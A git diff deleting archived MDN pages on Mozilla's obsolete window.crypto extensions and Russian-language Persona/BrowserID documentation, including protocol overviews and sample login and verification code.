{{ Non-standard_header() }}{{deprecated_header}}{{ warning("The features mentioned in this article are deleted proprietary Mozilla extensions, and are not supported in any other browser. They won't work in Firefox 34 or later. Use <keygen> or the future Web Crypto API instead.") }}

- -

Using the Mozilla crypto object from JavaScript

- -

Mozilla defines a special JavaScript object to allow web pages access to certain cryptographic-related services. These services are a balance between the functionality web pages need and the requirement to protect users from malicious web sites. Most of these services are available via the DOM {{ domxref("window") }} object as {{ domxref("window.crypto") }}.

- -

Services are provided to enable: smart card events, generating certificate requests, importing user certs, generating random numbers, logging out of your tokens, and signing text.

- -

Handling smart card events

- -

Web sites can make themselves more SmartCard friendly by listening for SmartCard insertion and removal events. To enable your document to receive these events, you must first tell the crypto system you are interested by setting {{ domxref("window.crypto.enableSmartCardEvents") }} to true. You can then register event handlers for these events with the {{ domxref("document.addEventListener()") }} method.

- -

Two smart card related events are generated: smartcard-insert when SmartCards are inserted, and smartcard-remove when SmartCards are removed.

- -

Web sites which use SSL clientAuth login could use the following code to refresh the page on token insertions and removals:

- -
<!DOCTYPE html>
-<p>...
-<script>
-function onSmartCardChange() {
-  window.location.reload();
-}
-function register() {
-  window.crypto.enableSmartCardEvents = true;
-  document.addEventListener("smartcard-insert", onSmartCardChange, false);
-  document.addEventListener("smartcard-remove", onSmartCardChange, false);
-}
-function deregister() {
-  document.removeEventListener("smartcard-insert", onSmartCardChange, false);
-  document.removeEventListener("smartcard-remove", onSmartCardChange, false);
-}
-
-document.body.onload = register;
-document.body.onunload = deregister;
-</script>
-
- -

With the above example, your web site will automatically reload anytime a SmartCard is inserted or removed. This allows the page to automatically login and logout based on the presence of the SmartCard.

- -

Generating keys and issuing user certificates

- -

There are several crypto object methods used in generating keys for certificates: generateCRMFRequest(), importUserCertificates().

- -

The generateCRMFRequest() function generates a key and creates a CRMF Request object. This object can be passed to a CA using a webform.

- -

The importUserCertificates() function loads certificates into the NSS database or SmartCard if the corresponding key is found there.

- -

The popChallengeResponse() function is not implemented.

- -

Overview of the new cert issuing process

- -
    -
  1. User fills out enrollment form
  2. -
  3. User action initiates script
  4. -
  5. Script calls key generation method (generateCRMFRequest)
  6. -
  7. Signing and Encryption keys are generated
  8. -
  9. Encryption Private Key is wrapped with public key of Key Recovery Authority (KRA) (passed in in the form of a certificate as part of the script, and checked against a pre-installed certificate copy in the local certificate database)
  10. -
  11. The public keys, wrapped encryption private key, and text string from the script (possibly containing naming or enrollment info) are signed by the user
  12. -
  13. Signed blob is returned to the script
  14. -
  15. Script submits signed blob and any other necessary info to the CA/RA
  16. -
  17. CA/RA verifies signature on signed blob
  18. -
  19. CA/RA validates identity of user
  20. -
  21. CA/RA sends wrapped encryption private key to KRA
  22. -
  23. KRA sends escrow verification back to CA
  24. -
  25. CA creates and signs certificates
  26. -
  27. CA sends certificates back to the user (importUserCertificates)
  28. -
- -

Typical use

- -

The CA's enrollment page could look something like this:

- -
<!DOCTYPE html>
-<h2>Request a cert</h2>
-<form name="ReqForm" method="post" action="http://your.ra.site.org">
-<p><input type=hidden name=cert_request value="">
-<p>Name: <input type=text name=name value="">
-<p>Password: <input type=password name="password" value="">
-<p><input type=submit Name="Send" value="Submit">
-</form>
-<script>
-/* the following values could be filled in by the server CGI */
-var authenticator = "server_magic";
-var keyTransportCert = null;
-var crmfObject = null;
-var form = document.forms[0];
-
-function validate()
-{
-  // generate keys for nsm.
-  if (typeof(crypto.version) != "undefined") {
-    crmfObject = crypto.generateCRMFRequest(
-      "CN=" + form.name.value,
-      form.password.value,
-      authenticator,
-      keyTransportCert,
-      "setCRMFRequest();",
-      1024,
-      null,
-      "rsa-dual-use");
-  }
-  return false;
-}
-
-function setCRMFRequest()
-{
-  form.cert_request.value = crmfObject.request;
-  form.submit();
-}
-
-form.onsubmit = validate;
-</script>
-
- -

On completion of the request, the CA may submit a page that looks something like this:

- -
<!DOCTYPE html>
-<h2>Certificate Request Successful</h2>
-<p>Hit 'load' to load your certificate</p>
-<form name="ReqForm">
-<p><input type=submit Name="Load" value="Submit"></p>
-</form>
-<script>
-/* the following values could be filled in by the server CGI */
-var nickname= "MyCertNickname";
-var cert = "Mkjflakdjfiwjflaksufklasf ...";
-var forceBackup = false;
-
-function LoadCertificate()
-{
-  window.crypto.importUserCertificates(nickname, cert, forceBackup);
-  return false;
-}
-
-document.forms[0].onsubmit = LoadCertificate;
-</script>
-
- -

Signing text

- -
DOMString signText(DOMString stringToSign,
-                   DOMString caOption /* ... */);
-
- -

Loading PKCS #11 modules

- -
long deletemodule(DOMString moduleName);
-long addmodule(DOMString moduleName,
-               DOMString libraryFullPath,
-               long cryptoMechanismFlags,
-               long cipherFlags);
-
- -

Loads or removes a new PKCS #11 module. In the add case, the module will be placed in the NSS secmod.db database and will be loaded automatically on application restart. In the delete case, the module is removed from the NSS secmod.db. This function will issue a user prompt to confirm the operation before the add or delete actually occurs.

- -
Parameters
- -
-
moduleName
-
Name of the module.
-
libraryFullPath
-
The filename of the library prepended with its full path.
-
cryptoMechanismFlags
-
A bit vector indicating all cryptographic mechanisms should be turned on by default (see below).
-
cipherFlags
-
A bit vector indicating all SSL or S/MIME cipher functions supported by the module (see below).
-
- -

Mechanism flag definitions

- -

In general, most tokens should not set any of the cipher flags. Setting these flags means you want your token to supply the default implementation for these functions. Normally Mozilla uses its own internal module to supply these functions. These flags override that preference. If you choose to implement these flags, your module must supply the following additional functions for each flag:

- - - -
PKCS11_MECH_RSA_FLAG           =  0x1<<0;
-PKCS11_MECH_DSA_FLAG           =  0x1<<1;
-PKCS11_MECH_RC2_FLAG           =  0x1<<2;
-PKCS11_MECH_RC4_FLAG           =  0x1<<3;
-PKCS11_MECH_DES_FLAG           =  0x1<<4;
-PKCS11_MECH_DH_FLAG            =  0x1<<5; //Diffie-Hellman
-PKCS11_MECH_SKIPJACK_FLAG      =  0x1<<6; //SKIPJACK algorithm as in Fortezza cards
-PKCS11_MECH_RC5_FLAG           =  0x1<<7;
-PKCS11_MECH_SHA1_FLAG          =  0x1<<8;
-PKCS11_MECH_MD5_FLAG           =  0x1<<9;
-PKCS11_MECH_MD2_FLAG           =  0x1<<10;
-PKCS11_MECH_RANDOM_FLAG        =  0x1<<27; //Random number generator
-PKCS11_PUB_READABLE_CERT_FLAG  =  0x1<<28; //Stored certs can be read off the token w/o logging in
-PKCS11_DISABLE_FLAG            =  0x1<<30; //tell Mozilla to disable this slot by default
-
- -

Cipher flags

- -
Reserved
-
- -

Important for CryptoMechanismFlags

- -

0x1<<11, 0x1<<12, ... , 0x1<<26, 0x1<<29, and 0x1<<31 are reserved for internal use in Mozilla. Therefore, these bits should always be set to 0; otherwise, Mozilla might exhibit unpredictable behavior.

- -

Important for CipherFlags

- -

All values are reserved for internal use in Mozilla. Therefore, this flag should always be set to 0; otherwise, Mozilla might exhibit unpredictable behavior.

- -

Example of CryptoMechanismFlags and CipherFlags

- -
pkcs11MechanismFlags = PKCS11_MECH_DSA_FLAG | PKCS11_MECH_SKIPJACK_FLAG | PKCS11_MECH_RANDOM_FLAG;
-pkcs11CipherFlags = 0;
-
- -

Return Values

- -
JS_OK_ADD_MODULE                  = 3   // Successfully added a module
-JS_ERR_OTHER                      = -1  // Errors other than the following
-JS_ERR_USER_CANCEL_ACTION         = -2  // User aborted an action
-JS_ERR_INCORRECT_NUM_OF_ARGUMENTS = -3  // Calling a method w/ incorrect # of
-                                        // arguments
-JS_ERR_ADD_MODULE                 = -5  // Error adding a module
-JS_ERR_BAD_MODULE_NAME            = -6  // The module name is invalid
-JS_ERR_ADD_MODULE_DUPLICATE       = -10 // The module being installed has the
-                                        // same name as one of the modules that
-                                        // has already been installed
-
- -

Miscellaneous

- -
DOMString random(in long numBytes);
-
- -

{{ unimplemented_inline() }}You can use window.crypto.getRandomValues instead.

- -
void logout();
-
- -

Logs the user out of all the cryptographic tokens. The next private operation on any token will require the user password again. The SSL session cache is also cleared (from Firefox 1.5 upward).

- -

This means the master password will be requested the next time a saved password will be accessed after this function is called. This also means the SSL client authentication state will be erased for SSL sites with client authentication, and a client certificate prompt will appear again the next time the user connects to the site.

- -
-

Note: This function provides a convenient way to erase the SSL session state at the browser level, but in order to really guarantee that the state is erased, it is more secure to do it on the server side whenever possible.

-
- -
void disableRightClick();
-
- -

{{ unimplemented_inline() }}

diff --git a/files/ru/archive/mozilla/persona/branding/index.html b/files/ru/archive/mozilla/persona/branding/index.html deleted file mode 100644 index fdb5c58213..0000000000 --- a/files/ru/archive/mozilla/persona/branding/index.html +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Ресурсы -slug: Archive/Mozilla/Persona/branding -translation_of: Archive/Mozilla/Persona/User_interface_guidelines ---- -

Вход с кнопками Persona

-

Изображения

-

Кнопки входа есть в 3 вариантах, каждый в 3 цветах (изображения; англ. текст):

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
 Sign in with your EmailSign in with PersonaSign in
Черный
Синий
Красный
-

CSS

-

Савье Холенсхед создал набор прекрасных CSS кнопок. Скачать (.zip)

-

Подробне

-

Вы можете найти больше информации о дизайне Persona в учебнике стиля.

diff --git a/files/ru/archive/mozilla/persona/index.html b/files/ru/archive/mozilla/persona/index.html deleted file mode 100644 index b391407c7c..0000000000 --- a/files/ru/archive/mozilla/persona/index.html +++ /dev/null @@ -1,138 +0,0 @@ ---- -title: Персона -slug: Archive/Mozilla/Persona -tags: - - Obsolete - - Persona -translation_of: Archive/Mozilla/Persona ---- -
-

Оставайтесь на связи или получите помощь!

- -

Подпишитесь на наш блог, присоединяйтесь к нашей рассылке, или найдите нас в #identity в системе IRC.

-
- -

On November 30th, 2016, Mozilla shut down the persona.org services. Persona.org and related domains will soon be taken offline.

For more information, see this guide to migrating your site away from Persona:

https://wiki.mozilla.org/Identity/Persona_Shutdown_Guidelines_for_Reliers

- -

Mozilla Persona - это полностью децентрализированная и безопасная система авторизации на сайтах, основанная на открытом протоколе BrowserID. Чтобы быть уверенным, что Persona работает везде и у всех, Mozilla в настоящее время работает над небольшим набором дополнительных централизованных сервисов, относящихся к системе Persona.

- -

Почему вам стоит использовать Persona на вашем сайте?

- -
    -
  1. Persona полностью избавляет от необходимости локального пароля на сайте, освобождая пользователей и сайты от работ по созданию, управлению и безопасному хранению паролей. Пользователю требуется зарегистрироваться один раз на Persona и он сможет заходить на любые совместимые сайты не затрачивая время на регистрацию.
  2. -
  3. Persona проста в использовании. Всего двумя кликами пользователь службы Persona может осуществить вход на сайт, вроде Voost, минуя проблемы создания учётной записи.
  4. -
  5. Persona проста в установке. Разработчики могут добавить поддержку Persona к сайту за вечер.
  6. -
  7. Самое же лучшее в этом то, что нет жёсткой привязки. Разработчики получают проверенный адрес почты для каждого из пользователей, а пользователи могут использовать любой адрес почты с Persona. 
  8. -
- -

И еще, Persona только в начале своего пути, чтобы стать еще лучше: она построена на открытом, децентрализованом протоколе BrowserIDИ когда разработчики популярных браузеров реализуют BrowserID, не надо будет полагаться на Mozilla для входа.

- -

Читайте дальше, чтобы приступить к изучению!

- -
Замечание: Persona находится в активной разработке. Посетите наш блог, чтобы узнать о новых возожностях, или же подпишитесь на нашу рассылку для организации обратной связи! 
- -

Использование Persona на вашем сайте

- - - - - - - - - - - - -
-

Приступая к работе

- -
-
Почему Persona?
-
Узнайте о причинах поддержать Persona на Вашем сайте, и сравниваете её с другими системами аутентификации.
-
Быстрая установка
-
Быстрый обзор, показывающий как добавить Persona на Ваш сайт.
-
-
-

Справка по Persona API

- -
-
Справка по navigator.id API
-
Ссылка для объекта navigator.id, который веб-разработчики могут использовать, для интеграции Persona с сайтами.
-
Ссылка API Проверка
-
Ссылка для дистанционного контроля API размещенную на https://verifier.login.persona.org/verify .
-
-
-

Гиды

- -
-
Соображения безопасности
-
Практика и методы, чтобы убедиться, развертывание Персона является безопасным.
-
Браузерная совместимость
-
Узанйте какие именно браузеры поддерживает Persona 
-
Интернационализация
-
Узнайте Persona работает с различными языками
-
-
-

Reswrısı

- -
-
Библиотеки и плагины
-
Найдите встраимывые библиотеки для ваших любимы языков и web-фрейморков, блогов или CMS
-
Персона поваренной
-
Примеры исходных кодов для сайтов Persona. Включая сниппеты в PHP, node.JS и других...
-
Брендинг ресурсы
-
Вход в кнопках и других графикой, чтобы помочь настоящий Persona для пользователей.
-
-
- -

 

- - - - - - - - -
-

Информация для поставщиков, удостоверяющих личность

- -

Если вы провайдер электронной почты или другой службы, удостоверяющий личность, обеспечивая, проверить ссылку ниже, чтобы узнать о становлении Поставщик Персона идентичности.

- -
-
IdP Обзор
-
Посмотреть высокий уровень Провайдеры Персона идентичности.
-
Реализация IdP
-
Подробное руководство по техническим деталям становится поставщика удостоверения.
-
Советы по развитию
-
Набор советов и трюков полезных при разработке нового поставщика удостоверений.
-
.well известный / BrowserID
-
Обзор структуры и цели .well известный / BrowserID файл, который удостоверений использовать для рекламы своей поддержке протокола.
-
-
-

Персона проекта

- -
-
Глоссарий
-
BrowserID и Персона - терминология и определения.
-
ЧАСТО ЗАДАВАЕМЫЕ ВОПРОСЫ
-
Ответы на часто задаваемые вопросы.
-
Обзор протокола
-
Технический обзор основ протокола BrowserID.
-
Крипто-
-
Взгляд на криптографические концепций Persona и BrowserID.
-
Spec
-
Глубокие технические детали можно найти здесь.
-
Персона Сайт
-
Чтобы Персона собирается, мы хостинг три услуги на https://login.persona.org : запасной провайдер идентификации, портативный осуществления navigator.id API, и удостоверение утверждение проверка сервис.
-
Исходный код Persona
-
Код  Persona находится в репозитории на GitHub. Патчи приветствуются!
-
-
- - diff --git a/files/ru/archive/mozilla/persona/protocol_overview/index.html b/files/ru/archive/mozilla/persona/protocol_overview/index.html deleted file mode 100644 index 0712e60be5..0000000000 --- a/files/ru/archive/mozilla/persona/protocol_overview/index.html +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: Protocol Overview -slug: Archive/Mozilla/Persona/Protocol_Overview -translation_of: Archive/Mozilla/Persona/Protocol_Overview ---- -

Persona is built on the BrowserID protocol. This page describes the BrowserID protocol at a high level.

-

Actors

-

The protocol involves three actors:

- -

Persona and the BrowserID protocol use email addresses as identities, so it's natural for email providers to become IdPs.

-

Mozilla operates a fallback IdP so that users can use any email address with Persona, even one with a specific domain that isn't an IdP itself.

-

Protocol Steps

-

There are three distinct steps in the protocol:

-
    -
  1. User Certificate Provisioning
  2. -
  3. Assertion Generation
  4. -
  5. Assertion Verification
  6. -
-

As a prerequisite, the user should have an active identity (email address) that they wish to use when logging in to websites. The protocol does not require that IdP-backed identities are SMTP-routable, but it does require that identities follow the user@domain format.

-

User Certificate Provisioning

-

In order to sign into an RP, a user must be able to prove ownership of their preferred email address. The foundation of this proof is a cryptographically signed certificate from an IdP certifying the connection between a browser's user and a given identity within the IdP's domain.

-

Because Persona uses standard public key cryptography techniques, the user certificate is signed by the IdP's private key and contains:

- -

The user's browser generates a different keypair for each of the user's email addresses, and these keypairs are not shared across browsers. Thus, a user must obtain a fresh certificate whenever one expires, or whenever using a new browser or computer. Certificates must expire within 24 hours of being issued.

-

When a user selects an identity to use when signing into an RP, the browser checks to see if it has a fresh user certificate for that address. If it does, this step is complete and the browser continues with the assertion generation step below. If the browser does not have a fresh certificate, it attempts to obtain one from the domain associated with the chosen identity.

-
    -
  1. The browser fetches the /.well-known/browserid support document over SSL from the identity's domain.
  2. -
  3. Using information from the support document, the browser passes the user's email address and associated public key to the IdP and requests a signed certificate.
  4. -
  5. If necessary, the user is asked to sign into the IdP before provisioning proceeds.
  6. -
  7. The IdP creates, signs, and gives a user certificate to the user's browser.
  8. -
-

With the certificate in hand, the browser can continue with generating an identity assertion and signing into an RP.

-

user-certificate-provisioning.png

-

Assertion Generation

-

The user certificate establishes a verifiable link between an email address and a public key. However, this is alone not enough to log into a website: the user still has to show their connection to the certificate by proving ownership of the private key.

-

In order to prove ownership of a private key, the user's browser creates and signs a new document called an "identity assertion." It contains:

- -

The browser then presents both the user certificate and the identity assertion to the RP for verification.

-

Assertion Verification

-

The combination of user certificate and identity assertion is sufficient to confirm a user's identity.

-

First, the RP checks the domain and expiration time in the assertion. If the assertion is expired or intended for a different domain, it's rejected. This prevents malicious re-use of assertions.

-

Second, the RP validates the signature on the assertion with the public key inside the user certificate. If the key and signature match, the RP is assured that the current user really does possess the key associated with the certificate.

-

Last, the RP fetches the IdP's public key from its /.well-known/browserid document and verifies that it matches the signature on the user certificate. If it does, then the RP can be certain that the certificate really was issued by the domain in question.

-

Once verifying that this is a current login attempt for the proper RP, that the user certificate matches the current user, and that the user certificate is legitimate, the RP is done and can authenticate the user as the identity contained in the certificate.

-

assertion-generation-and-verify.png

-

The Persona Fallback IdP

-

What if a user's email provider doesn't support Persona? In that case, the provisioning step would fail. By convention, the user's browser handles this by asking a trusted third party, https://login.persona.org/, to certify the user's identity on behalf of the unsupported domain. After demonstrating ownership of the address, the user would then receive a certificate issued by the fallback IdP, login.persona.org, rather than the identity's domain.

-

RPs follow a similar process when validating the assertion: the RP would ultimately request the fallback IdP's public key in order to verify the certificate.

diff --git a/files/ru/archive/mozilla/persona/quick_setup/index.html b/files/ru/archive/mozilla/persona/quick_setup/index.html deleted file mode 100644 index 9b359e200c..0000000000 --- a/files/ru/archive/mozilla/persona/quick_setup/index.html +++ /dev/null @@ -1,140 +0,0 @@ ---- -title: Быстрая установка -slug: Archive/Mozilla/Persona/Quick_Setup -tags: - - Persona - - Использование - - Настройка - - Пример - - Установка -translation_of: Archive/Mozilla/Persona/Quick_Setup ---- -

Добавление системы авторизации Persona на ваш сайт займет всего 5 шагов:

-
    -
  1. Подключите ЯваСкрипт-библиотеку на ваши страницы.
  2. -
  3. Добавьте кнопки «Вход» и «Выход».
  4. -
  5. Отслеживайте события входа и выхода.
  6. -
  7. Проверьте учетные данные пользователя.
  8. -
  9. Ознакомьтесь с лучшими примерами.
  10. -
-

Установка и настройка займёт у вас всего один вечер, но если вы собираетесь использовать Persona на вашем сайте, пожалуйста, прежде всего уделите минутку и подпишитесь на рассылку Заметки о Persona. Там крайне мало сообщений, она используется только для анонсов изменений или проблем с безопасностью, которые могут неблагоприятно сказаться на работе вашего сайта.

-

Шаг 1: Подключение библиотеки

-

Persona разработана так, чтобы быть независимой от обозревателя и хорошо работает во всех основных настольных и мобильных обозревателях. Это возможно благодаря межплатформенной библиотеке Persona, написанной на ЯваСкрипте. После того, как библиотека загружена на вашей странице, вам потребуются следующие функции Persona: ({{ domxref("navigator.id.watch()", "watch()") }}, {{ domxref("navigator.id.request()", "request()") }}, и {{ domxref("navigator.id.logout()", "logout()") }}), которые будут доступны в глобальном объекте navigator.id.

-

Чтобы подключить ЯваСкрип-библиотеку Persona, поместите следующий код в головной ярлык head:

-
<script src="https://login.persona.org/include.js"></script>
-
-

Вы должны подключить эту библиотеку, так как она создает функции {{ domxref("navigator.id") }}. Потому, что Persona еще находится в разработке, вы не должны самостоятельно изменять файл include.js.

-

Шаг 2: Добавление кнопок входа и выхода

-

Потому, что Persona создана как DOM API, Вы должны вызывать функции, когда пользователь нажимает на кнопки входа и выхода на Вашем сайте. Чтобы открыть окно входа через Persona, вызовите функцию {{ domxref("navigator.id.request()") }}. Для выхода вызовите {{ domxref("navigator.id.logout()") }}.

-

Например:

-
var signinLink = document.getElementById('signin');
-if (signinLink) {
-  signinLink.onclick = function() { navigator.id.request(); };
-};
-
-var signoutLink = document.getElementById('signout');
-if (signoutLink) {
-  signoutLink.onclick = function() { navigator.id.logout(); };
-};
-
-

Как выглядят эти кнопки? Посмотрите эту страницу, там найдете CSS и изображения!

-

Шаг 3: Отслеживание событий входа и выхода

-

Для работы Persona вы должны сообщить ей, что делать, когда пользователь осуществляет вход и выход. Для этого нужно вызвать функцию {{ domxref("navigator.id.watch()") }}, предоставив ей три параметра:

-
    -
  1. -

    loggedInEmail – почта текущего пользователя на сайте или null, если его нет. Это значение должно формироваться динамически во время создания страницы.

    -
  2. -
  3. -

    Функцию, которую следует вызвать при входе пользователя – действие onlogin. Это функция должна принимать один параметр – "заявленный идентификатор", который должен быть проверен.

    -
  4. -
  5. -

    Функцию, которую следует вызвать при выходе пользователя – действие onlogout. Эта функция работает без каких-либо параметров.

    -
  6. -
-
-

Замечание: Необходимо всегда указывать обе функции (для входа и выхода) – onlogin и onlogout при вызове {{ domxref("navigator.id.watch()") }}.

-
-

Например, если вы думаете что Иван выполнил вход на ваш сайт, вы должны сделать следующее:

-
var currentUser = 'ivan@example.com';
-
-navigator.id.watch({
-  loggedInEmail: currentUser,
-  onlogin: function(assertion) {
-    // Пользователь выполнил вход! В этом случае нужно:
-    // 1. Отправить заявленный идентификатор в бекэнд вашего сайта (серверная часть, прим. переводчика) для проверки и создания сессии.
-    // 2. Обновить интерфейс пользователя.
-    $.ajax({
-      type: 'POST',
-      url: '/auth/login', // это URL путь на вашем сайте.
-      data: {assertion: assertion},
-      success: function(res, status, xhr) { window.location.reload(); },
-      error: function(res, status, xhr) { alert("login failure" + res); }
-    });
-  },
-  onlogout: function() {
-    // Пользователь выполнил выход! В этом случае нужно:
-    // Удалить сессию пользователя с помощью перенаправления или отправки запроса на бекэнд.
-    $.ajax({
-      type: 'POST',
-      url: '/auth/logout', // это URL путь на вашем сайте.
-      success: function(res, status, xhr) { window.location.reload(); },
-      error: function(res, status, xhr) { alert("logout failure" + res); }
-    });
-  }
-});
-
-

В этом примере обе функции onlogin и onlogout отправляют асинхронные POST запросы к бекэнду вашего сайта. Бекэнд в свою очередь осуществляет процедуру входа и выхода пользователя, записывая или удаляя информацию в куки сессии. Далее, если пройдены все проверки, страница перезагружается, отображая новое состояние авторизации.

-

Вы, конечно, можете использовать AJAX, чтобы реализовать всё без перезагрузки страницы или перенаправлений, однако это не входит в рамки данного учебника.

-

Эту функцию обязательно вызывать на каждой странице, где есть кнопки входа или выхода. Чтобы ваши пользователи могли использовать такие возможности как автоматический вход или глобальный выход из системы, требуется вызывать эту функцию на каждой странице вашего сайта.

-

Шаг 4: Проверка пользовательских данных

-

Вместо паролей Persona использует "заявленные идентификаторы", которые представляют из себя что-то вроде одноразовых паролей только для одного сайта, связанных с адресом электронной почты пользователя. Когда пользователь собирается осуществить вход, будет вызвана ваша функция onlogin с "заявкой" от пользователя. Прежде чем закончить процедуру входа вы должны проверить эту заявку.

-

Крайне важно осуществлять такую проверку на стороне сервера, но не с помощью ЯваСкрипт-кода, работающего в обозревателе пользователя, иначе её легко можно подделать. В следующем примере заявка передаётся на сервер методом POST на адрес /api/login с помощью вспомогательной функции jQuery $.ajax().

-

Как следует делать проверку на сервере при получении заявки? Самый простой способ – использовать службу, предоставляемую Mozilla. Просто отправьте POST запрос с заявкой на адрес https://verifier.login.persona.org/verify указав два параметра:

-
    -
  1. assertion: заявка-идентификатор, полученный от пользователя.
  2. -
  3. audience: Адрес хоста и порт вашего сайта. Это информация должна быть записана в вашем бекэнде, ни в коем случае не получайте эти данные из того, что было отправлено пользователем.
  4. -
-

Предположим, example.com – это адрес вашего сайта, вы сможете проверить заявку, используя командную строку:

-
$ curl -d "assertion=<ASSERTION>&audience=https://example.com:443" "https://verifier.login.persona.org/verify"
-
-

Если она настоящая, в ответ вы получите примерно такой ответ в формате JSON:

-
{
-  "status": "okay",
-  "email": "bob@eyedee.me",
-  "audience": "https://example.com:443",
-  "expires": 1308859352261,
-  "issuer": "eyedee.me"
-}
-
-

Вы можете более подробно ознакомиться со службой проверки, прочитав статью API Проверочной Службы. Примерная реализация /api/login, с использованием Питона, веб-фреймворка Flask, и HTTP-библиотеки Requests, может выглядеть так:

-
@app.route('/api/login', methods=['POST'])
-def login():
-    # Запрос должен содержать заявку, которую нам нужно проверить
-    if 'assertion' not in request.form:
-        abort(400)
-
-    # Отправляем заявку в службу проверки Mozilla.
-    data = {'assertion': request.form['assertion'], 'audience': 'https://example.com:443'}
-    resp = requests.post('https://verifier.login.persona.org/verify', data=data)
-
-    # Получен ли от службы ответ?
-    if resp.ok:
-        # Разбираем ответ
-        verification_data = json.loads(resp.content)
-
-        # Проверяем, верна ли заявка?
-        if verification_data['status'] == 'okay':
-            # Осуществляем вход пользователя, устанавливая защищённую куки сессии
-            session.update({'email': verification_data['email']})
-            return resp.content
-
-    # Что-то пошло не так! Отмена.
-    abort(500)
-
-

Управление сессиями, вероятно, очень похоже на систему авторизации, которую вы уже используете. Первое основное отличие при проверке идентификатора пользователя в том, что вместо проверки пароля происходит проверка заявки. Второе большое отличие – проверка того, что адрес электронной почты пользователя корректный, путём передачи его в качестве параметра loggedInEmail функции {{ domxref("navigator.id.watch()") }}.

-

Выход из системы прост: всё, что нужно – удалить куки сессии пользователя.

-

Шаг 5: Обзор лучших примеров

-

После того, как всё заработает и вы успешно сможете осуществлять вход и выход на своём сайте, вы можете уделить немного времени, чтобы ознакомиться с лучшими примерами безопасного и защищённого использования Persona.

-

Возможно, вы захотите написать интеграционные тесты, которые симулируют вход и выход пользователя используя BrowserID, если вы делает сайт, готовый к запуску. Чтобы облегчить этот процесс c Selenium, обратите внимание на библиотеку bidpom. Так же может оказаться полезным сайт personatestuser.org.

-

Ну и напоследок, не забудьте подписаться на рассылку Заметки о Persona, так вы всегда будете в курсе любых проблем безопасности, а также об обратно несовместимых изменениях в API Persona. Рассылка не будет обременять вас – она используется исключительно для объявлений изменений, которые могут неблагоприятно сказаться на вашем сайте.

-

 

diff --git a/files/ru/archive/mozilla/persona/why_persona/index.html b/files/ru/archive/mozilla/persona/why_persona/index.html deleted file mode 100644 index 0dcbeef6db..0000000000 --- a/files/ru/archive/mozilla/persona/why_persona/index.html +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: Почему Persona? -slug: Archive/Mozilla/Persona/Why_Persona -tags: - - Persona - - Введение - - Рекомендуемое -translation_of: Archive/Mozilla/Persona/Why_Persona ---- -
- Persona – это свободно распространяемая, кросс-браузерная система идентификации, которая предлагает решение для традиционной модели хранения паролей. Она нацелена на устранение недостатков, досаждающих при использовании других систем хранения конфиденциальных данных, как, например, OpenID, без необходимости использования централизованной инфраструктуры, подобной Facebook Connect.
-
-  
-
- Текущий подход к созданию и управлению пользовательских имён и паролей скучный, малоэффективный и небезопасный. Пользователи вынуждены придумывать и запоминать трудные пароли для каждого сайта или сервиса. На сайте же должны быть организованы безопасное шифрование и хранение паролей, чтобы предотвратить утечку важной информации. Предотвращение таких утечек – основная причина использования Persona, а гибкость её механизмов превосходит многие стандартные системы безопасной идентификации.
-
-  
-
-
- Примечание: более подробную информацию о Persona и её возможностях вы можете получить по ссылке Что такое Persona и как она работает?.
-
-

Persona устраняет необходимость создавать пароли для каждого сайта

-

Persona использует безопасную систему, построенную на основе передового шифрования общедоступных ключей, для авторизации на вебсайтах за пару щелчков мыши. Обозреватель пользователя создаёт зашифрованное подтверждение личности, которое теряет актуальность через несколько минут и действительно только для конкретного сайта. Пользователи могут не беспокоиться о том, что нужно запоминать несколько разных паролей, а также заботиться о безопасном доступе к свои паролям, если пароли не используются вообще. Быстрый и простой способ авторизации устраняет недостатки традиционной регистрации и позволяет пользователям легко заводить учётные записи на вебсайтах.

-

Persona использует адрес электронной почты в качестве идентификатора

-
-
-
-
- Механизмы Persona полагаются на адрес электронной почты, и это их ключевая составляющая, потому как адресу электронной почты по своей природе присущи уникальность и приватность. Существующая в данный момент инфраструктура работает очень хорошо не только с точки зрения проектирования (разработки), но и с точки зрения идеальной системы открытого управления и передачи идентификаторов по Интернет.
-
-
-
-

 

-

Выгода для пользователей

- -
-

Преимущества для разработчиков

-
- -
-

Чем отличается Persona от других подобных систем или одиночной учётной записи?

-
-

Persona защищает частную собственность, предоставляя пользователю выбор и возможность управления, чего не могут предоставить другие поставщики, это делает Persona очень привлекательной. Большинство социальных сетей, таких как Google+ или Facebook, требуют от пользователя указывать настоящее имя, принимать их политику, и ограничивают пользователя только одной учётной записью. Persona позволяет пользователям разграничить их рабочие, школьные или социальные идентификаторы, используя адреса разных электронных ящиков вместо настоящего имени. Благодаря такой анонимности, вы получаете дополнительный пласт безопасности идентификаторов и сетевой защиты, который отсутствует в большинстве социальных сетей.

-

Persona также открывает новый подход к защите пользовательских данных, делая браузер пользователя ключевым элементом в процессе авторизации. Обозреватель получает данные о пользователе, предоставляемые его электронной почтой, а затем передаёт их вебсайту. Поставщик электронной почты не может отслеживать пользователя, в тоже время сайты могут быть уверенны в идентификаторе пользователя, благодаря зашифрованному подтверждению данных. Многие другие системы, даже такие распределённые системы как OpenID, требуют чтобы сайт сначала был подключен к централизованной сети, прежде чем пользователь сможет осуществить вход.

-

Возможности Persona позволяют разработчикам наладить тесную связь с пользователями. Mozilla занимает лидирующее место в области открытых, свободных сетевых технологий, и Persona, обладая простым в использовании интерфейсом и возможностями защиты пользователя, поддерживает философию Mozilla.

diff --git "a/files/ru/archive/mozilla/persona/\320\270\320\275\321\202\320\265\321\200\320\275\320\260\321\206\320\270\320\276\320\275\320\260\320\273\320\270\320\267\320\260\321\206\320\270\321\217/index.html" "b/files/ru/archive/mozilla/persona/\320\270\320\275\321\202\320\265\321\200\320\275\320\260\321\206\320\270\320\276\320\275\320\260\320\273\320\270\320\267\320\260\321\206\320\270\321\217/index.html" deleted file mode 100644 index b395445eaa..0000000000 --- "a/files/ru/archive/mozilla/persona/\320\270\320\275\321\202\320\265\321\200\320\275\320\260\321\206\320\270\320\276\320\275\320\260\320\273\320\270\320\267\320\260\321\206\320\270\321\217/index.html" +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: Интернационализация -slug: Archive/Mozilla/Persona/Интернационализация -tags: - - Интернационализация - - Локализация - - Перевод -translation_of: Archive/Mozilla/Persona/Internationalization ---- -

What's localized in Persona

-

